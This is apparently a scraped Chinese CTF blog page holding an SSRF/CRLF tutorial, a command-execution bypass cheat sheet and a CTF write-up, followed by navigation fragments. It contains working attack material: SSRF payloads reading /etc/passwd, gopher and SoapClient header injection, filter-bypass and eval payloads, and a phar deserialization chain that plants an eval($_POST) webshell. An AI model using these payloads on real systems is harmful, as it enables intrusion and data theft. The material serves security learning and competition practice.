2023-02-16 f135512d75d9ded3686c7106bda8ee21 99+ 21 分钟 3.1 k

CRLF + SSRF

什么是SSRF

SSRF（Server-Side Request Forgery:服务器端请求伪造）是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。正是因为恶意请求由服务端发起，而服务端能够请求到与自身相连而与外网隔绝的内部网络系统，所以一般情况下，SSRF的攻击目标是攻击者无法直接访问的内网系统。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。例如，黑客操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片，下载等，利用的就是服务端请求伪造，SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

一些前置知识

HTTP协议

在这里，给大家简单的介绍一下我们是怎么通过浏览器上网的

IP

和我们购物时候必须填写地址一样，在网络空间中我们也必须有一个属于自己的地址，而这个地址便是IP地址

IP地址有两大类，是IPv4和IPv6

1
2
3

114.114.114.114                                 //ipv4

2001:0000:0000:0000:0000:25de:0000:cafe         //ipv6

v4所有地址已经被分配完毕，所以有了ipv6这个东西。

又因为ipv6很长，看起来不太美观，于是有了更简洁的写法

每项数字前导的0可以省略，省略后前导数字仍是0则继续，例如下组IPv6是等价的。

  2001:0db8:02de:0000:0000:0000:0000:0e13
  2001:db8:2de:0000:0000:0000:0000:e13
  2001:db8:2de:000:000:000:000:e13
  2001:db8:2de:00:00:00:00:e13
  2001:db8:2de:0:0:0:0:e13

可以用双冒号“::”表示一组0或多组连续的0，但只能出现一次：
- 如果四组数字都是零，可以被省略。遵照以上省略规则，下面这两组IPv6都是相等的。
```
  2001:db8:2de:0:0:0:0:e13
  2001:db8:2de::e13

  2001:0db8:0000:0000:0000:0000:1428:57ab
  2001:0db8:0000:0000:0000::1428:57ab
  2001:0db8:0:0:0:0:1428:57ab
  2001:0db8:0::0:1428:57ab
  2001:0db8::1428:57ab
```
- 2001::25de::cade 是非法的，因为双冒号出现了两次。它有可能是下种情形之一，造成无法推断。
```
  2001:0000:0000:0000:0000:25de:0000:cade
  2001:0000:0000:0000:25de:0000:0000:cade
  2001:0000:0000:25de:0000:0000:0000:cade
  2001:0000:25de:0000:0000:0000:0000:cade
```
  如果这个地址实际上是IPv4的地址，后32位可以用10进制数表示；因此::ffff:192.168.89.9 相等于::ffff:c0a8:5909。

Hosts文件

Hosts文件是一个没有扩展名的操作系统文件，以表的形式存储了主机名和IP地址的映射关系Hosts又称host table，译为“主机表”

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost
219.217.199.8 earth.local terratest.earth.local
10.110.110.250 vpn.misakanetworks.cf
# Added by Docker Desktop
192.168.1.8 host.docker.internal
192.168.1.8 gateway.docker.internal
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
127.0.0.1       activate.navicat.com

我们可以手动给一个Ip取一个好听的名字然后用这个名字访问，只需要按照host文件的格式在下面添加就行了

DNS

使用host是无法记住所有ip的，数据量太大了，而且日常上网也并不需要记住所有的ip，DNS就这样诞生了…

域名系统（英语：Domain Name System，缩写：DNS）

它作为将域名和IP地址相互映射的一个分布式数据库，能够使人更方便地访问互联网。DNS使用TCP和UDP端口53

HTTP协议

HTTP请求结构

HTTP请求报文由3部分组成(请求行+请求头部+请求正文)

请求行

请求行：是由请求字段、URL字段、HTTP协议版本字段三个字段组成，他们用空格分隔，例如：GET/material/index HTTP/1.1\r\n根据HTTP标准，HTTP请求可以使用多种请求方法

HTTP1.0定义了三种请求方法：GET，POST，HEAD方法。HTTP1.1新增了五种请求方法：OPTIONS，PUT，DELETE，TRACE，CONNECT方法

请求头部

请求头部： HTTP客户程序(例如浏览器)，向服务器发送请求的时候必须指明请求类型(一般是GET或者 POST)，如有必要，客户程序还可以选择发送其他的请求头。大多数请求头并不是必需的，但Content-Length除外，对于POST请求来说 Content-Length必须出现

请求报头通知服务器关于客户端求求的信息，典型的请求头有：

空行

他的作用是告诉服务器请求头部信息到此为止
请求正文

若方法是 GET，则该项为空。(数据都在url 地址栏里面)
若方法是 post 字段，则通常放置的是要提交的数据

HTTP响应结构：

HTTP的响应报文是由( 状态行、响应头部、响应正文) 三部分组成

响应行

响应行：描述了响应的状态，一般由协议版本、状态码及其描述组成比如 HTTP/1.1200OK\r\n，其中协议版本HTTP/1.1或者HTTP/1.0，200就是它的状态码，OK则为它的描述。

五种可能的取值：

常见状态码：

响应头部

响应头部：用于描述服务器的基本信息，以及数据的描述，服务器通过这些数据的描述信息，可以通知客户端如何处理等一会儿它回送的数据。

响应体

响应体就是响应的消息体，它包含了响应的内容。它可以包含HTML代码，图片，等等。主体是由传输在HTTP消息中紧跟在头部后面的数据字节组成的。

SSRF中的常用协议

HTTP协议

curl_exec()

curl_init(url)函数初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close() 函数使用。

<?php 
$url=$_POST['url']; 
$ch=curl_init($url);  //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result); 
?>

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接，初始化一个套接字连接到指定主机（hostname），实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接，进行传输原始数据。 fsockopen()将返回一个文件句柄，之后可以被其他文件类函数调用（例如：fgets()，fgetss()，fwrite()，fclose()还有feof()）。如果调用失败，将返回false。

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

可以看到，这个协议是一个比较底层的协议，从TCP手动构造一个http的请求，在这里出现了\r\n，这代表什么呢？

CRLF和LF

CR(回车\r)，LF(换行\n)。

CR和LF是缩写，其实他们的全称分别是：”Carriage-Return”和”Line-Feed”。追本溯源的说，CR(Carriage-Return)和LF(Line-Feed)这两个词来源于打字机的发明和使用。

在很久以前的机械打字机时代，CR和LF分别具有不同的作用：LF会将打印纸张上移一行位置，但是保持当前打字的水平位置不变；CR则会将“Carriage”（打字机上的滚动托架）滚回到打印纸张的最左侧，但是保持当前打字的垂直位置不变，即还是在同一行。

当CR和LF组合使用时，则会将打印纸张上移一行，且下一个打字位置将回到该行的最左侧，也就是我们今天所理解的换行操作。

虽然现在机械打字机渐渐地退出了历史舞台。但是回车换行在计算机操作系统中确实必要的，而在计算机中回车换行实则为同样的结果，不再像打字机那样了，计算机的回车换行都是切换到下一行的行首位置了。在操作系统出现的年代，一些操作系统的设计者决定采用单个字符来表示换行符（也许是受限于内存和软盘空间的不足），如Unix的LF、MacIntosh的CR；但是想windows则是使用两个字符表示。他们的意图都是为了进行换行操作，只是当初并没有一个国际标准，所以才有这样字符上的不同。

在http中，则是用\r\n来表示换行

SoapClient

SOAP是简单对象访问协议，简单对象访问协议（Simple Object Access Protocol）是一种轻量的、简单的、基于 XML 的协议，它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。

这里有个Trick：

正常情况下的SoapClient类，调用一个不存在的函数，会去调用__call方法

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

基于刚才讲到的CRLF，则可以做到手动构造任意请求，

<?php
$target = "http://127.0.0.1:9999/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "byc\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
    'uri' => "123"));
$payload -> not_exists_function();
?>

File协议

file协议其实类似于任意文件读取，比如file:///etc/passwd

还是刚才那段代码

<?php 
$url=$_POST['url']; 
$ch=curl_init($url);  //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result); 
?>

file_get_contents() & readfile()

<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中，并展示给用户，我们可以传入一个url连接访问，也可以构造类似?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件

gopher

gopher协议是一个古老且强大的协议，可以理解为是http协议的前身，他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache，也可以进行 GET、POST 请求。

很多时候在SSRF下，我们无法通过HTTP协议来传递POST数据，这时候就需要用到gopher协议来发起POST请求了。

gopher的协议格式如下：

1
2
3

gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开，如果多个参数，参数之间的&也需要进行URL编码

看起来有点像阉割版的nc，不过gopher会把传入的第一个字符给吞掉了，左边传入的是123456789，右边接收到的则是23456789

在知道以上特性之后，便可以利用gopher协议来构造任意http请求了

比如:

1
2
3

GET /ssrf.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n

将其url编码一下

1	%47%45%54%20%2f%73%73%72%66%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a

web

2022-10-18 d13142931df0df96b7beb8dc856eba9a 99+ 2 分钟 0.3 k

Round 6复现

Web check(V1)

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

管他那么多，先整一个上传页面

<form id="upload-form" action="http://1.14.71.254:28597/upload" method="post" enctype="multipart/form-data" >
　　　<input type="file" id="upload" name="upload" /> <br />
　　　<input type="submit" value="Upload" />
</form>

CTF WEB ETH Solidity upload

2022-10-03 ee3a51b7a6c437e5ede55c93ad7163f2 99+ 12 分钟 1.8 k

命令执行备忘录

0x00 什么是RCE

RCE又称远程代码执行漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。

0x01 常见命令执行函数

1 2	PHP代码执行函数： eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()...

1 2	PHP命令执行函数： system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()...

0x02 Bypass

1.关键词拦截:

关键词替换为空的情况:
- 双写绕过，比如cacatt -> cat

仅拦截关键字:

使用其他函数，比如拦截cat的时候，可以使用其他命令。

Input	Ouput
static-sh ./flag.txt	./flag.txt: line 1: flag{this_is_a_test}: not found
paste ./flag.txt /etc/passwd	flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash…
diff	diff ./flag.txt /etc/passwd
curl file:///home/coffee/flag	flag{this_is_a_test}
…	…

通配符绕过，比如可以使用/b??/c?t f*。该方法有时候会因为输出过多或者运行时间超出限制被强行中断
插入"" <> '' \绕过,比如ca''t flag.txt或者ca\t flag.txt
内联执行，将反引号内命令的输出作为输入执行,如: cat `ls`，或者是cat ${ls}
使用变量替换，如$c=a;cat fl$cg.php

拦截空格,空格可以用以下字符串代替：

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等，比如:
1
2
3
4
5
6
cat%09flag
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
.操作符
eval函数中用.把被拦截的关键字给分开，比如
1
2
<?php
eval(include "/www/lo"."g/nginx/access.log");
逃逸，绕过太难了，直接润出来
比如
1
2
c=include$_GET[1]?>
c=eval($_GET[1])

借壳生蛋

<?php
  $env = $_GET['env'];
  if(isset($env)){
      putenv($env);
      system("whoami");
  }else{
      highlight_file(__FILE__);
  }

?env=BASH_FUNC_whoami%%=() { ls; }
whoami是system(“whoami”)启动的bash环境的函数，相当于我们注册了一个whoami替换它

构造
在PHP7中，可以这样调用函数:

1
2
3

('phpinfo')();
$a = "phpinfo";$$a;
...

然后就可以使用异或^,取反~，自增++，自减--等方法构造想要的字符然后进行动态函数调用。

构造字符的时候，可以利用一些PHP的特性：

PHP中的NAN和INF：

NaN（Not a Number，非数）是计算机科学中数值数据类型的一类值，表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF：infinite，表示“无穷大”。 超出浮点数的表示范围（溢出，即阶码部分超过其能表示的最大值）。

$_=C/C;//NAN
$_=1/C//INF

2.无回显

利用sleep()之类的函数来根据服务器响应的时间一个一个字符获获取
注:该方法局限性很大，且容易受到网络波动影响，不建议优先考虑使用
利用dns外带http://dnslog.cn/
注:该方法也有一定的局限性，有长度限制而且不支持特殊字符
利用重定向，将输出重定向到可访问网页中
反弹shell
如果题目不出网只能寄
命令注入,尝试在命令后面加上||、%0a、%0d、|、;、&等符号将原先重定向到/dev/null的命令分割开

3.include

伪协议
日志包含
UA写马,包含access.log

allow_url_include=ture可以使用的data

data类型扩展:

  data类型扩展
  data:,<文本数据>
  data:text/plain,<文本数据>
  data:text/html,<HTML代码>
  data:text/html;base64,<base64编码的HTML代码>
  data:text/css,<CSS代码>
  data:text/css;base64,<base64编码的CSS代码>
  data:text/javascript,<Javascript代码>
  data:text/javascript;base64,<base64编码的Javascript代码>
  data:image/gif;base64,base64编码的gif图片数据
  data:image/png;base64,base64编码的png图片数据
  data:image/jpeg;base64,base64编码的jpeg图片数据
  data:image/x-icon;base64,base64编码的icon图片数据

Tips: PHP具有极强的鲁棒性~~特别耐操~~，尤其是伪协议这块。

原payload:php://filter/convert.base64-encode/resource=index.php

我可以插♂ 入一些奇怪的东西
php://filter/convert.base64-encode/114514/resource=index.php

我可以大大小小
php://FiLTer/convert.base64-encode/resource=index.php

4.无参命令执行

这种就基本没活能整了，已经十分固定下来了

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

'/[^\W]+$(?R)?$/'的解释

这里使用pregreplace替换匹配到的字符为空，\w匹配字母、数字和下划线，等价于 [^A-Za-z0-9]，然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数，内部可以无限嵌套相同的模式（无参数函数），将匹配的替换为空，判断剩下的是否只有;

以上正则表达式只匹配a(b(c()))或a()这种格式，不匹配a(“123”)，也就是说我们传入的值函数不能带有参数，所以我们要使用无参数的函数进行文件读取或者命令执行。
一些有用的东西

目录操作：
getchwd() ：函数返回当前工作目录。
scandir() ：函数返回指定目录中的文件和目录的数组。
dirname() ：函数返回路径中的目录部分。
chdir() ：函数改变当前的目录。

数组相关的操作：
end() - 将内部指针指向数组中的最后一个元素，并输出。
next() - 将内部指针指向数组中的下一个元素，并输出。
prev() - 将内部指针指向数组中的上一个元素，并输出。
reset() - 将内部指针指向数组中的第一个元素，并输出。
each() - 返回当前元素的键名和键值，并将内部指针向前移动。
array_shift() - 删除数组中第一个元素，并返回被删除元素的值。

读文件

show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

PAYLOAD

请求头

1
2
3

GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');

get_defined_vars()

1	?code=eval(end(current(get_defined_vars())));&flag=system('ls');

利用全局变量进RCE

get_defined_vars()：返回由所有已定义变量所组成的数组，会返回 _GET,_POST, _COOKIE, _FILES全局变量的值，返回数组顺序为get->post->cookie->files
current：返回数组中的当前单元，初始指向插入到数组中的第一个单元，也就是会返回$_GET变量的数组值

3.session_start()

session_start()：启动新会话或者重用现有会话，成功开始会话返回 TRUE ，反之返回 FALSE,返回参数给session_id()
session_id()：获取/设置当前会话 ID，返回当前会话ID。如果当前没有会话，则返回空字符串（””）。
文件读取
show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可

备忘录

CTF WEB RCE

2022-09-30 3d1e750c6339ffe1cc4722514124ebbf 99+ 5 分钟 0.8 k

美团CTF决赛复现 mako

太菜了，被大佬带进决赛了,最后就签个到

环境

密码:1skr

下面部分是我在比赛的时候思考过的

1.开始

页面一进来，十分的清爽，毛都没有，就一个上传文件的东西

随便传点东西，发现是来者不拒，啥都能传，但啥都干不了

访问1.php只会出现404not found这是最令人异或的一点

因为题目给了docker，就本地部署一个环境，先进去看看文件都存到了哪里

可以看见，文件并没有被上传到/var/www/html/这个目录下面

而文件被上传到了/var/www/html/mako/uploads这个目录下

可以肯定的是，文件上传是整不了活了

2.审计

通过搜索关键词，在mako/app/reources/views/home.tpl.php里找到到了首页的源码

很明显，这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的，没活整了。

这就很令人苦恼，我当时尝试了一下，使用软链接

直接寄了，没权限，这时候才想起来容器一开始写了一个读取flag的程序

目标也明确了，肯定得想办法执行readFlag，于是我搜了危险函数，然后是一无所获，要么没这个函数，要么根本无法触发

做到这里，我已经没有思路了，当时想到了反序列化，但是只知道搜unseralize，结果是毛都没搜到。

我经验太少了，当时没想到用phar

3.复现

在mako/app/controllers/ImagesController.php文件中

public function editGet(ViewFactory $view): string {
	chdir('/var/www/mako/uploads');
	$fileName = $this->request->getQuery()->get('filename');
	$image = new Image($fileName, new ImageMagick());
	$dimensions = $image->getDimensions();
	$this->view->assign('fileName', $fileName);
	$this->view->assign('dimensions', $dimensions);
	return $view->render('edit');
}

可以看到，文件名是不做任何过滤的

而在mako/vendo/mako/framework/src/mako/pixl/image.php中

public function __construct($image, ProcessorInterface $processor)
{
	$this->image = $image;

	$this->processor = $processor;

	// Make sure that the image exists

	if(file_exists($this->image) === false)
	{
		throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
	}

	// Set the image

	$this->processor->open($image);
}

使用了能触发phar反序列化的file_exists函数

关键函数找到了，现在找链子吧

搜索__destruct(),干扰项不多，可以直接开撸

好家伙，我直接好家伙，一条龙服务了属于是qwq

4.攻击

这里搬一手Arr3stY0u战队的poc吧


<?php
namespace mako\file{
class FileSystem{
}
}

namespace mako\session\stores{
    use mako\file\FileSystem;

class File{
    protected $fileSystem;
    protected $sessionPath;
    
    public function __construct(){
        $this->fileSystem = new FileSystem();
        $this->sessionPath = '/var/www/mako/public/';
    }
}
}

namespace mako\session{
use mako\session\stores\File;

class Session{
    protected $autoCommit;
    protected $destroyed = false;
    protected $sessionId;
    protected $sessionData = [];
    protected $store;

    public function __construct(){
        $this->autoCommit = true;
        $this->destroyed = false;
        $this->store = new File();
        $this->sessionId = 'shell.php';
        $this->sessionData = ['a'=>'<?php eval($_POST[1]);?>'];
    }
}
}

namespace {
    $exp = new mako\session\Session();
    $phar = new Phar('test.phar',0,'test.phar');
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($exp);
    $phar->addFromString('text.txt','test');
    $phar->stopBuffering();
};

上传文件

getshell

flag is here

5.总结反思

经验不足，做题不够，欠练

复现

CTF WEB 复现反序列化 phar

CRLF + SSRF

什么是SSRF

一些前置知识

HTTP协议

IP

Hosts文件

DNS

HTTP协议

SSRF中的常用协议

HTTP协议

curl_exec()

fsockopen()

CRLF和LF

SoapClient

File协议

file_get_contents() & readfile()

gopher

链接

最新评论

最新文章

分类

归档

标签

订阅更新

Less 6-8 都差不多，就是需要各种奇妙的闭合

Less 9

Less 10 一模一样，略

Less 11 | 万能密码

Less 12 -16 都差不多

Less 17 | 报错注入

能进行报错的函数

extractvalue()

链接

最新评论

最新文章

分类

归档

标签

订阅更新

典中典 只因 删flag只存在变量中

总结:

0xFFFF Reform

Round 6复现

Web check(V1)

命令执行备忘录

0x00 什么是RCE

0x01 常见命令执行函数

0x02 Bypass

1.关键词拦截:

2.无回显

3.include

4.无参命令执行

PAYLOAD

美团CTF决赛复现 mako

环境

1.开始

2.审计

3.复现

4.攻击

5.总结反思

链接

最新评论

最新文章

分类

归档

标签

订阅更新

典中典只因删flag只存在变量中